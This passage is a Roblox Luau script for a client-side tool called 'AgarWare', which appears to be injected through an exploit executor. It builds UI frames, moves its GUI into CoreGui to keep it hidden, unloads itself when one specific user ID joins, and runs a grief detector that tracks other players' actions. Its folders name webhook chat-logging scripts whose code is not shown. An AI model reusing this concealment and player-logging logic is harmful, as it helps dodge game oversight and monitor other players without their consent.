G2L["346"]["Name"] = [[ConfirmTimer]];
G2L["346"]["Position"] = UDim2.new(0, 0, 0.0452, 0);


-- StarterGui.AgarWareGui.ConfirmGriefFrame.FalseAlertConfirm
G2L["347"] = Instance.new("TextButton", G2L["342"]);
G2L["347"]["TextWrapped"] = true;
G2L["347"]["TextSize"] = 20;
G2L["347"]["TextScaled"] = true;
G2L["347"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["347"]["BackgroundColor3"] = Color3.fromRGB(58, 0, 0);
G2L["347"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["347"]["Size"] = UDim2.new(0, 135, 0, 23);
G2L["347"]["LayoutOrder"] = 5;
G2L["347"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["347"]["Text"] = [[FALSE ALERT & CANCEL]];
G2L["347"]["Name"] = [[FalseAlertConfirm]];
G2L["347"]["Position"] = UDim2.new(0, 0, 0.97191, 0);


-- StarterGui.AgarWareGui.ConfirmGriefFrame.CancelConfirm
G2L["348"] = Instance.new("TextButton", G2L["342"]);
G2L["348"]["TextWrapped"] = true;
G2L["348"]["TextSize"] = 16;
G2L["348"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["348"]["BackgroundColor3"] = Color3.fromRGB(58, 0, 0);
G2L["348"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["348"]["Size"] = UDim2.new(0, 135, 0, 47);
G2L["348"]["LayoutOrder"] = 4;
G2L["348"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["348"]["Text"] = [[EXIT]];
G2L["348"]["Name"] = [[CancelConfirm]];
G2L["348"]["Position"] = UDim2.new(0, 0, 0.90062, 0);


-- StarterGui.AgarWareGui.ConfirmGriefFrame.GriefTargetLabel
G2L["349"] = Instance.new("TextLabel", G2L["342"]);
G2L["349"]["TextWrapped"] = true;
G2L["349"]["TextSize"] = 14;
G2L["349"]["TextScaled"] = true;
G2L["349"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["349"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["349"]["TextColor3"] = Color3.fromRGB(0, 45, 86);
G2L["349"]["Size"] = UDim2.new(0, 135, 0, 28);
G2L["349"]["BorderColor3"] = Color3.fromRGB(0, 67, 132);
G2L["349"]["Text"] = [[POSSIBLE GRIEF: Username]];
G2L["349"]["Name"] = [[GriefTargetLabel]];


-- StarterGui.AgarWareGui.ConfirmGriefFrame.PauseConfirm
G2L["34a"] = Instance.new("TextButton", G2L["342"]);
G2L["34a"]["TextWrapped"] = true;
G2L["34a"]["TextSize"] = 16;
G2L["34a"]["TextColor3"] = Color3.fromRGB(0, 45, 86);
G2L["34a"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["34a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["34a"]["Size"] = UDim2.new(0, 135, 0, 24);
G2L["34a"]["LayoutOrder"] = 9;
G2L["34a"]["BorderColor3"] = Color3.fromRGB(0, 67, 132);
G2L["34a"]["Text"] = [[PAUSE TIMER]];
G2L["34a"]["Name"] = [[PauseConfirm]];
G2L["34a"]["Position"] = UDim2.new(0, 0, 0.75776, 0);


-- StarterGui.AgarWareGui.Webhook
G2L["34b"] = Instance.new("Folder", G2L["1"]);
G2L["34b"]["Name"] = [[Webhook]];


-- StarterGui.AgarWareGui.Webhook.IngameLog
G2L["34c"] = Instance.new("LocalScript", G2L["34b"]);
G2L["34c"]["Name"] = [[IngameLog]];


-- StarterGui.AgarWareGui.Webhook.PealzLog
G2L["34d"] = Instance.new("LocalScript", G2L["34b"]);
G2L["34d"]["Name"] = [[PealzLog]];


-- StarterGui.AgarWareGui.Webhook.LagMachine
G2L["34e"] = Instance.new("LocalScript", G2L["34b"]);
G2L["34e"]["Name"] = [[LagMachine]];


-- StarterGui.AgarWareGui.Webhook.TCOLog
G2L["34f"] = Instance.new("LocalScript", G2L["34b"]);
G2L["34f"]["Name"] = [[TCOLog]];


-- StarterGui.AgarWareGui.Webhook.UniLog
G2L["350"] = Instance.new("LocalScript", G2L["34b"]);
G2L["350"]["Name"] = [[UniLog]];


-- StarterGui.AgarWareGui.Webhook.ChatLogs
G2L["351"] = Instance.new("LocalScript", G2L["34b"]);
G2L["351"]["Name"] = [[ChatLogs]];


-- StarterGui.AgarWareGui.Webhook.GlobalChatLogs
G2L["352"] = Instance.new("LocalScript", G2L["34b"]);
G2L["352"]["Name"] = [[GlobalChatLogs]];


-- StarterGui.AgarWareGui.Webhook.ChatLogsHIDDEN
G2L["353"] = Instance.new("LocalScript", G2L["34b"]);
G2L["353"]["Name"] = [[ChatLogsHIDDEN]];


-- StarterGui.AgarWareGui.Webhook.GlobalChatLogsHIDDEN
G2L["354"] = Instance.new("LocalScript", G2L["34b"]);
G2L["354"]["Name"] = [[GlobalChatLogsHIDDEN]];


-- StarterGui.AgarWareGui.Webhook.UserChatLogs
G2L["355"] = Instance.new("LocalScript", G2L["34b"]);
G2L["355"]["Name"] = [[UserChatLogs]];


-- StarterGui.AgarWareGui.ColorPicker
G2L["356"] = Instance.new("Frame", G2L["1"]);
G2L["356"]["Visible"] = false;
G2L["356"]["ZIndex"] = 999999999;
G2L["356"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["356"]["Size"] = UDim2.new(0, 215, 0, 291);
G2L["356"]["Position"] = UDim2.new(0.48922, 0, 0.35649, 0);
G2L["356"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["356"]["Name"] = [[ColorPicker]];


-- StarterGui.AgarWareGui.ColorPicker.DragColorPicker
G2L["357"] = Instance.new("LocalScript", G2L["356"]);
G2L["357"]["Name"] = [[DragColorPicker]];


-- StarterGui.AgarWareGui.ColorPicker.ColorPickerScript
G2L["358"] = Instance.new("LocalScript", G2L["356"]);
G2L["358"]["Name"] = [[ColorPickerScript]];


-- StarterGui.AgarWareGui.ColorPicker.ColorPickerTitle
G2L["359"] = Instance.new("TextLabel", G2L["356"]);
G2L["359"]["BorderSizePixel"] = 0;
G2L["359"]["TextSize"] = 14;
G2L["359"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["359"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["359"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["359"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["359"]["BackgroundTransparency"] = 1;
G2L["359"]["Size"] = UDim2.new(0, 200, 0, 23);
G2L["359"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["359"]["Text"] = [[Color Picker]];
G2L["359"]["Name"] = [[ColorPickerTitle]];
G2L["359"]["Position"] = UDim2.new(0.03241, 0, 0, 0);


-- StarterGui.AgarWareGui.ColorPicker.CloseColorPicker
G2L["35a"] = Instance.new("TextButton", G2L["356"]);
G2L["35a"]["BorderSizePixel"] = 0;
G2L["35a"]["TextSize"] = 14;
G2L["35a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["35a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["35a"]["FontFace"] = Font.new([[rbxasset://fonts/families/RobotoMono.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["35a"]["BackgroundTransparency"] = 1;
G2L["35a"]["Size"] = UDim2.new(0, 25, 0, 25);
G2L["35a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35a"]["Text"] = [[x]];
G2L["35a"]["Name"] = [[CloseColorPicker]];
G2L["35a"]["Position"] = UDim2.new(0.88189, 0, -0.00065, 0);


-- StarterGui.AgarWareGui.ColorPicker.HueSlider
G2L["35b"] = Instance.new("Frame", G2L["356"]);
G2L["35b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35b"]["Size"] = UDim2.new(0, 200, 0, 25);
G2L["35b"]["Position"] = UDim2.new(0.03781, 0, 0.76607, 0);
G2L["35b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["35b"]["Name"] = [[HueSlider]];


-- StarterGui.AgarWareGui.ColorPicker.SaturationValueCanvas
G2L["35c"] = Instance.new("Frame", G2L["356"]);
G2L["35c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35c"]["Size"] = UDim2.new(0, 200, 0, 200);
G2L["35c"]["Position"] = UDim2.new(0.03781, 0, 0.07878, 0);
G2L["35c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["35c"]["Name"] = [[SaturationValueCanvas]];


-- StarterGui.AgarWareGui.ColorPicker.ColorSelect
G2L["35d"] = Instance.new("TextButton", G2L["356"]);
G2L["35d"]["TextSize"] = 14;
G2L["35d"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["35d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["35d"]["Size"] = UDim2.new(0, 134, 0, 25);
G2L["35d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["35d"]["Text"] = [[Select Color]];
G2L["35d"]["Name"] = [[ColorSelect]];
G2L["35d"]["Position"] = UDim2.new(0.34479, 0, 0.88097, 0);


-- StarterGui.AgarWareGui.ColorPicker.HEX
G2L["35e"] = Instance.new("TextBox", G2L["356"]);
G2L["35e"]["Name"] = [[HEX]];
G2L["35e"]["PlaceholderColor3"] = Color3.fromRGB(179, 179, 179);
G2L["35e"]["TextSize"] = 14;
G2L["35e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["35e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["35e"]["PlaceholderText"] = [[#ffffff]];
G2L["35e"]["Size"] = UDim2.new(0, 68, 0, 25);
G2L["35e"]["Position"] = UDim2.new(0.02851, 0, 0.88097, 0);
G2L["35e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["35e"]["Text"] = [[]];


-- StarterGui.AgarWareGui.ColorPicker.HEX.HEXScript
G2L["35f"] = Instance.new("LocalScript", G2L["35e"]);
G2L["35f"]["Name"] = [[HEXScript]];


-- StarterGui.AgarWareGui.LoadedMainFrame
G2L["360"] = Instance.new("Frame", G2L["1"]);
G2L["360"]["ZIndex"] = 999999999;
G2L["360"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["360"]["Size"] = UDim2.new(0, 300, 0, 100);
G2L["360"]["Position"] = UDim2.new(0.6571, 0, 0.1819, 0);
G2L["360"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["360"]["Name"] = [[LoadedMainFrame]];


-- StarterGui.AgarWareGui.LoadedMainFrame.LoadedScript
G2L["361"] = Instance.new("LocalScript", G2L["360"]);
G2L["361"]["Name"] = [[LoadedScript]];


-- StarterGui.AgarWareGui.LoadedMainFrame.LoadedFrame
G2L["362"] = Instance.new("Frame", G2L["360"]);
G2L["362"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["362"]["Size"] = UDim2.new(0, 284, 0, 84);
G2L["362"]["Position"] = UDim2.new(0.02667, 0, 0.08, 0);
G2L["362"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["362"]["Name"] = [[LoadedFrame]];


-- StarterGui.AgarWareGui.LoadedMainFrame.LoadedFrame.AGARWARELOADED
G2L["363"] = Instance.new("TextLabel", G2L["362"]);
G2L["363"]["TextWrapped"] = true;
G2L["363"]["BorderSizePixel"] = 0;
G2L["363"]["TextSize"] = 30;
G2L["363"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["363"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["363"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["363"]["BackgroundTransparency"] = 1;
G2L["363"]["Size"] = UDim2.new(0, 284, 0, 61);
G2L["363"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["363"]["Text"] = [[AGAR WARE]];
G2L["363"]["Name"] = [[AGARWARELOADED]];


-- StarterGui.AgarWareGui.LoadedMainFrame.LoadedFrame.GameNameLoaded
G2L["364"] = Instance.new("TextLabel", G2L["362"]);
G2L["364"]["TextWrapped"] = true;
G2L["364"]["BorderSizePixel"] = 0;
G2L["364"]["TextSize"] = 16;
G2L["364"]["TextTransparency"] = 0.4;
G2L["364"]["TextScaled"] = true;
G2L["364"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["364"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["364"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["364"]["BackgroundTransparency"] = 1;
G2L["364"]["Size"] = UDim2.new(0, 284, 0, 21);
G2L["364"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["364"]["Text"] = [[by agarv :)]];
G2L["364"]["Name"] = [[GameNameLoaded]];
G2L["364"]["Position"] = UDim2.new(0, 0, 0.65476, 0);


-- StarterGui.AgarWareGui.WebhookLogging
G2L["365"] = Instance.new("Folder", G2L["1"]);
G2L["365"]["Name"] = [[WebhookLogging]];


-- StarterGui.AgarWareGui.WebhookLogging.OnlineUsers
G2L["366"] = Instance.new("LocalScript", G2L["365"]);
G2L["366"]["Name"] = [[OnlineUsers]];


-- StarterGui.AgarWareGui.WebhookLogging.AgarChat
G2L["367"] = Instance.new("LocalScript", G2L["365"]);
G2L["367"]["Name"] = [[AgarChat]];


-- StarterGui.AgarWareGui.MasterScripts
G2L["368"] = Instance.new("Folder", G2L["1"]);
G2L["368"]["Name"] = [[MasterScripts]];


-- StarterGui.AgarWareGui.MasterScripts.ResetCharacter
G2L["369"] = Instance.new("LocalScript", G2L["368"]);
G2L["369"]["Name"] = [[ResetCharacter]];


-- StarterGui.AgarWareGui.MasterScripts.RefreshBkitTools
G2L["36a"] = Instance.new("LocalScript", G2L["368"]);
G2L["36a"]["Name"] = [[RefreshBkitTools]];


-- StarterGui.AgarWareGui.MasterScripts.AGARVOWNERLABEL
G2L["36b"] = Instance.new("LocalScript", G2L["368"]);
G2L["36b"]["Name"] = [[AGARVOWNERLABEL]];


-- StarterGui.AgarWareGui.MasterScripts.PLAYERLISTUSER
G2L["36c"] = Instance.new("LocalScript", G2L["368"]);
G2L["36c"]["Name"] = [[PLAYERLISTUSER]];


-- StarterGui.AgarWareGui.MoveToCorGui
local function C_2()
local script = G2L["2"];
	local CoreGui = game:GetService("CoreGui")
	local RunService = game:GetService("RunService")
	
	-- Only move to CoreGui when running in an actual game, not Studio
	if not RunService:IsStudio() then
		local gui = script.Parent
		task.wait()
		gui.Parent = CoreGui
	end
end;
task.spawn(C_2);
-- StarterGui.AgarWareGui.ChatQueue
local function C_3()
local script = G2L["3"];
	-- ChatQueue
	-- All scripts use shared.sendChat(message) instead of sending directly
	-- This queues messages and sends them one at a time with a small gap
	
	local TextChatService = game:GetService("TextChatService")
	
	local queue = {}
	local isProcessing = false
	
	local function processQueue()
		if isProcessing then return end
		if #queue == 0 then return end
		isProcessing = true
	
		while #queue > 0 do
			local message = table.remove(queue, 1)
			if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
				TextChatService.TextChannels.RBXGeneral:SendAsync(message)
			else
				game:GetService("ReplicatedStorage")
					.DefaultChatSystemChatEvents
					.SayMessageRequest
					:FireServer(message, "All")
			end
			task.wait(0.3)
		end
	
		isProcessing = false
	end
	
	shared.sendChat = function(message)
		table.insert(queue, message)
		task.spawn(processQueue)
	end
end;
task.spawn(C_3);
-- StarterGui.AgarWareGui.Execution
local function C_4()
local script = G2L["4"];
	local TextChatService = game:GetService("TextChatService")
	local Players = game:GetService("Players")
	
	local TCO_PLACE_IDS = {
		11137575513,
		12943245078,
		12943247001,
		108097274488844,
	}
	
	local LocalPlayer = Players.LocalPlayer
	local PlayerGui = LocalPlayer.PlayerGui
	
	--------------------------------------------------
	-- DESTROY DUPLICATE GUI
	-- If this script runs and AgarWareGui already exists,
	-- destroy the OLD one so the new one loads fresh
	--------------------------------------------------
	
	local existing = PlayerGui:FindFirstChild("AgarWareGui")
	if existing and existing ~= script.Parent then
		existing:Destroy()
	end
	
	--------------------------------------------------
	-- WAIT FOR GUI
	--------------------------------------------------
	
	local AgarWareGui = script.Parent
	local MainFrame = AgarWareGui:WaitForChild("MainFrame")
	local KeybindFrame = AgarWareGui:WaitForChild("KeybindFrame")
	
	--------------------------------------------------
	-- CENTER MAIN FRAME
	--------------------------------------------------
	
	MainFrame.AnchorPoint = Vector2.new(0.5, 0)
	MainFrame.Position = UDim2.new(0.5, 0, 0.5, -150)
	
	--------------------------------------------------
	-- POSITION KEYBIND FRAME TOP RIGHT
	--------------------------------------------------
	
	local function positionKeybind()
		KeybindFrame.AnchorPoint = Vector2.new(1, 0)
		KeybindFrame.Position = UDim2.new(1, -10, 0, 10)
	end
	
	positionKeybind()
	
	workspace.CurrentCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
		positionKeybind()
	end)
	
	--------------------------------------------------
	-- WELCOME MESSAGE
	--------------------------------------------------
	
	task.defer(function()
		local systemChannel = TextChatService.TextChannels:FindFirstChild("RBXSystem")
		if systemChannel then
			systemChannel:DisplaySystemMessage("Thank you for using my script - agarvvoid")
			task.wait(0.1)
	
			local currentPlaceId = game.PlaceId
			local isValidPlace = false
			for _, id in ipairs(TCO_PLACE_IDS) do
				if currentPlaceId == id then
					isValidPlace = true
					break
				end
			end
	
			if isValidPlace then
				local topPlayer = nil
				local topTime = -1
				for _, player in ipairs(Players:GetPlayers()) do
					local leaderstats = player:FindFirstChild("leaderstats")
					if leaderstats then
						local timeVal = leaderstats:FindFirstChild("Time")
						if timeVal and timeVal.Value > topTime then
							topTime = timeVal.Value
							topPlayer = player
						end
					end
				end
	
				if topPlayer then
					local isFriend = false
					local success, result = pcall(function()
						return LocalPlayer:IsFriendsWith(topPlayer.UserId)
					end)
					if success then isFriend = result end
	
					local displayName = topPlayer.DisplayName
					local label = isFriend and (displayName .. " (Friend)") or displayName
					systemChannel:DisplaySystemMessage("Current Admin: " .. label)
				end
			end
		end
	end)
end;
task.spawn(C_4);
-- StarterGui.AgarWareGui.UnloadBLACKLIST
local function C_5()
local script = G2L["5"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	-- The ID you want to hide from seeing you use the script
	local BLOCKED_ID = 8615658150
	
	-- Exception list: these users will NOT trigger the unload
	local EXCEPTIONS = {
		9763171531, -- pealz
		10304502709, -- mental
		2581030028, -- valtiel
		10340049663, -- evilguy
		10587072700, -- agarv alt
		574381128, -- agarv
	}
	
	local function isException(userId)
		for _, id in ipairs(EXCEPTIONS) do
			if id == userId then
				return true
			end
		end
		return false
	end
	
	local function isBlocked(player)
		if isException(player.UserId) then
			return false
		end
		return player.UserId == BLOCKED_ID and player ~= LocalPlayer
	end
	
	local function unloadScript()
		pcall(function()
			local screenGui = LocalPlayer.PlayerGui:FindFirstChild("AgarWareGui")
			if screenGui then
				screenGui:Destroy()
				print("Script unloaded: Blacklisted user detected.")
			end
		end)
	end
	
	for _, player in ipairs(Players:GetPlayers()) do
		if isBlocked(player) then
			unloadScript()
			return
		end
	end
	
	Players.PlayerAdded:Connect(function(player)
		if isBlocked(player) then
			unloadScript()
		end
	end)
end;
task.spawn(C_5);
-- StarterGui.AgarWareGui.GriefDetectorConsole
local function C_6()
local script = G2L["6"];
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	
	local ScreenGui = script.Parent
	
	--------------------------------------------------
	-- SHARED EVENTS
	--------------------------------------------------
	
	shared.GriefEvent        = shared.GriefEvent        or Instance.new("BindableEvent")
	shared.DeleteGriefEvent  = shared.DeleteGriefEvent  or Instance.new("BindableEvent")
	shared.PaintGriefEvent   = shared.PaintGriefEvent   or Instance.new("BindableEvent")
	shared.ExploitGriefEvent = shared.ExploitGriefEvent or Instance.new("BindableEvent")
	shared.BuildGriefEvent   = shared.BuildGriefEvent   or Instance.new("BindableEvent")
	shared.BoomboxLoudEvent  = shared.BoomboxLoudEvent  or Instance.new("BindableEvent")
	
	--------------------------------------------------
	-- IDS
	--------------------------------------------------
	
	local BRICK_SOUND_ID = "rbxassetid://9117183621"
	local PAINT_SOUND_ID = "rbxassetid://18473826"
	local DELETE_ANIM_ID = "17755760862"
	
	--------------------------------------------------
	-- SETTINGS
	--------------------------------------------------
	
	local MAX_DISTANCE        = 30
	local SOUND_MIN_NORMAL    = 0.04
	local SOUND_MAX_NORMAL    = 0.15
	local SOUND_MIN_EXPLOIT   = 0.01
	local SOUND_MAX_EXPLOIT   = 0.15
	local SLASH_WINDOW        = 0.5
	local EXPLOIT_WAIT        = 0.5
	local EXPLOIT_SOUND_WAIT  = 1.0
	local DELCUBE_THRESHOLD   = 4
	
	local GRIEF_COUNT         = 12
	local GRIEF_TIME          = 5
	local EXPLOIT_COUNT       = 40
	local EXPLOIT_TIME        = 7
	
	local SPAM_COUNT          = 60
	local SPAM_TIME           = 13
	
	--------------------------------------------------
	-- ATTRIBUTE HELPERS
	--------------------------------------------------
	
	local function isDeleteOn()  return ScreenGui:GetAttribute("DeleteLogsEnabled")   == true end
	local function isPaintOn()   return ScreenGui:GetAttribute("PaintLogsEnabled")    == true end
	local function isExploitOn() return ScreenGui:GetAttribute("ExploitsLogsEnabled") == true end
	local function isSpamOn()    return ScreenGui:GetAttribute("SpamLogsEnabled")     == true end
	local function anyOn()       return isDeleteOn() or isPaintOn() or isExploitOn() or isSpamOn() end
	
	--------------------------------------------------
	-- GRIEF SETTINGS
	--------------------------------------------------
	
	local function isWhitelisted(player)
		local w = shared.GriefWhitelist
		return w and w[player.Name] == true
	end
	
	local function hasArkenstone(player)
		local b = player:FindFirstChild("Backpack")
		return b and b:FindFirstChild("The Arkenstone") ~= nil
	end
	
	local function passesEnlightenCheck(player)
		local e = shared.GriefEnlightenEnabled
		if e == nil then e = true end
		if e then return true end
		return not hasArkenstone(player)
	end
	
	local function passesTimeFilterCheck(player)
		local filter = shared.GriefTimeFilter or 0
		if filter == 0 then return true end
		local ls = player:FindFirstChild("leaderstats")
		if not ls then return true end
		local t = ls:FindFirstChild("Time")
		if not t then return true end
		return t.Value < filter
	end
	
	local function passesInGameCheck(ownerName)
		local e = shared.GriefInGameEnabled
		if e == nil then e = true end
		if e then return true end
		return Players:FindFirstChild(ownerName) ~= nil
	end
	
	local OWNER_IDS = {
		574381128,   -- main
		10587072700, -- alt 1
		8308247571,  -- alt 2
		10837544781, -- agarv609
	}
	
	local function isOwner(player)
		for _, id in ipairs(OWNER_IDS) do
			if player.UserId == id then return true end
		end
		return false
	end
	
	local function passesFilters(player, ownerName)
		if isOwner(player) then return false end
		if isWhitelisted(player) then return false end
		if not passesEnlightenCheck(player) then return false end
		if not passesTimeFilterCheck(player) then return false end
		if not passesInGameCheck(ownerName) then return false end
		return true
	end
	
	--------------------------------------------------
	-- STATE
	--------------------------------------------------
	
	local isRunning             = false
	local connections           = {}
	local recentDeleteSound     = {}
	local recentPaintSound      = {}
	local recentSlashAnim       = {}
	local deleteTracker         = {}
	local deleteCooldown        = {}
	local paintTracker          = {}
	local paintCooldown         = {}
	local exploitDeleteTracker  = {}
	local exploitDeleteCooldown = {}
	local exploitPaintTracker   = {}
	local exploitPaintCooldown  = {}
	local spamTracker           = {}
	local spamCooldown          = {}
	local delcubeTracker        = {}
	
	local function clearTable(t)
		for k in pairs(t) do t[k] = nil end
	end
	
	local function clearArray(t)
		for i = #t, 1, -1 do table.remove(t, i) end
	end
	
	--------------------------------------------------
	-- GRIEF COUNTER
	--------------------------------------------------
	
	local function addCount(tracker, userId, now, window)
		tracker[userId] = tracker[userId] or {times = {}}
		local times = tracker[userId].times
		table.insert(times, now)
		for i = #times, 1, -1 do
			if now - times[i] > window then
				table.remove(times, i)
			end
		end
		return #times
	end
	
	local function resetCount(tracker, userId)
		tracker[userId] = {times = {}}
	end
	
	--------------------------------------------------
	-- HELPERS
	--------------------------------------------------
	
	local function getHRP(player)
		if not player.Character then return nil end
		return player.Character:FindFirstChild("HumanoidRootPart")
	end
	
	local function getPlayerDist(player, pos)
		local hrp = getHRP(player)
		if not hrp then return math.huge end
		return (hrp.Position - pos).Magnitude
	end
	
	local function playedSlashNear(player, eventTime)
		local t = recentSlashAnim[player.UserId]
		if not t then return false end
		return math.abs(t - eventTime) <= SLASH_WINDOW
	end
	
	local function playedDeleteSoundInRange(player, eventTime, sMin, sMax)
		local t = recentDeleteSound[player.UserId]
		if not t then return false end
		local delay = t - eventTime
		return delay >= sMin and delay <= sMax
	end
	
	local function playedPaintSoundInRange(player, eventTime, sMin, sMax)
		local t = recentPaintSound[player.UserId]
		if not t then return false end
		local delay = t - eventTime
		return delay >= sMin and delay <= sMax
	end
	
	local function waitUntil(condFn, timeout)
		local start = tick()
		while tick() - start < timeout do
			if condFn() then return true end
			RunService.Heartbeat:Wait()
		end
		return condFn()
	end
	
	local function getDisplayName(player)
		if player.DisplayName ~= player.Name then
			return player.Name .. " / " .. player.DisplayName
		end
		return player.Name
	end
	
	--------------------------------------------------
	-- DELCUBE CHECK
	--------------------------------------------------
	
	local function isDelcube(folderName, removedAt)
		local entry = delcubeTracker[folderName]
		if not entry then
			delcubeTracker[folderName] = {lastTick = removedAt, count = 1}
			return false
		end
		local diff = removedAt - entry.lastTick
		if diff < 0.05 then
			entry.count = entry.count + 1
			entry.lastTick = removedAt
			return entry.count >= DELCUBE_THRESHOLD
		else
			delcubeTracker[folderName] = {lastTick = removedAt, count = 1}
			return false
		end
	end
	
	--------------------------------------------------
	-- FLAG DELETE
	--------------------------------------------------
	
	local function flagDelete(player, ownerName)
		if deleteCooldown[player.UserId] and tick() < deleteCooldown[player.UserId] then return end
		local count = addCount(deleteTracker, player.UserId, tick(), GRIEF_TIME)
		local suffix = Players:FindFirstChild(ownerName) and "" or " (NOT INGAME)"
		local display = getDisplayName(player)
		if count >= GRIEF_COUNT then
			local cooldown = shared.GriefCooldown or 30
			print("[GRIEFLOG]  🚨  " .. display .. "  |  Triggered Delete Detection  |  Cooldown: " .. cooldown)
			shared.GriefEvent:Fire(player, "delete")
			shared.DeleteGriefEvent:Fire(player)
			resetCount(deleteTracker, player.UserId)
			deleteCooldown[player.UserId] = tick() + cooldown
			task.delay(cooldown, function()
				print("[DELETE] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")")
			end)
		end
	end
	
	--------------------------------------------------
	-- FLAG PAINT
	--------------------------------------------------
	
	local function flagPaint(player, ownerName)
		if paintCooldown[player.UserId] and tick() < paintCooldown[player.UserId] then return end
		local count = addCount(paintTracker, player.UserId, tick(), GRIEF_TIME)
		local suffix = Players:FindFirstChild(ownerName) and "" or " (NOT INGAME)"
		local display = getDisplayName(player)
		if count >= GRIEF_COUNT then
			local cooldown = shared.GriefCooldown or 30
			print("[GRIEFLOG]  🚨  " .. display .. "  |  Triggered Paint Detection  |  Cooldown: " .. cooldown)
			shared.GriefEvent:Fire(player, "paint")
			shared.PaintGriefEvent:Fire(player)
			resetCount(paintTracker, player.UserId)
			paintCooldown[player.UserId] = tick() + cooldown
			task.delay(cooldown, function()
				print("[PAINT] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")")
			end)
		end
	end
	
	--------------------------------------------------
	-- FLAG EXPLOIT DELETE
	--------------------------------------------------
	
	local function flagExploitDelete(player, ownerName)
		if exploitDeleteCooldown[player.UserId] and tick() < exploitDeleteCooldown[player.UserId] then return end
		local count = addCount(exploitDeleteTracker, player.UserId, tick(), EXPLOIT_TIME)
		local suffix = Players:FindFirstChild(ownerName) and "" or " (NOT INGAME)"
		local display = getDisplayName(player)
		if count >= EXPLOIT_COUNT then
			local cooldown = shared.GriefCooldown or 30
			print("[GRIEFLOG]  🚨  " .. display .. "  |  Triggered Exploit Detection (Delete)  |  Cooldown: " .. cooldown)
			shared.GriefEvent:Fire(player, "exploit")
			shared.ExploitGriefEvent:Fire(player)
			resetCount(exploitDeleteTracker, player.UserId)
			exploitDeleteCooldown[player.UserId] = tick() + cooldown
			task.delay(cooldown, function()
				print("[DELETE EXPLOIT] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")")
			end)
		end
	end
	
	--------------------------------------------------
	-- FLAG EXPLOIT PAINT
	--------------------------------------------------
	
	local function flagExploitPaint(player, ownerName)
		if exploitPaintCooldown[player.UserId] and tick() < exploitPaintCooldown[player.UserId] then return end
		local count = addCount(exploitPaintTracker, player.UserId, tick(), EXPLOIT_TIME)
		local suffix = Players:FindFirstChild(ownerName) and "" or " (NOT INGAME)"
		local display = getDisplayName(player)
		if count >= EXPLOIT_COUNT then
			local cooldown = shared.GriefCooldown or 30
			print("[GRIEFLOG]  🚨  " .. display .. "  |  Triggered Exploit Detection (Paint)  |  Cooldown: " .. cooldown)
			shared.GriefEvent:Fire(player, "exploit")
			shared.ExploitGriefEvent:Fire(player)
			resetCount(exploitPaintTracker, player.UserId)
			exploitPaintCooldown[player.UserId] = tick() + cooldown
			task.delay(cooldown, function()
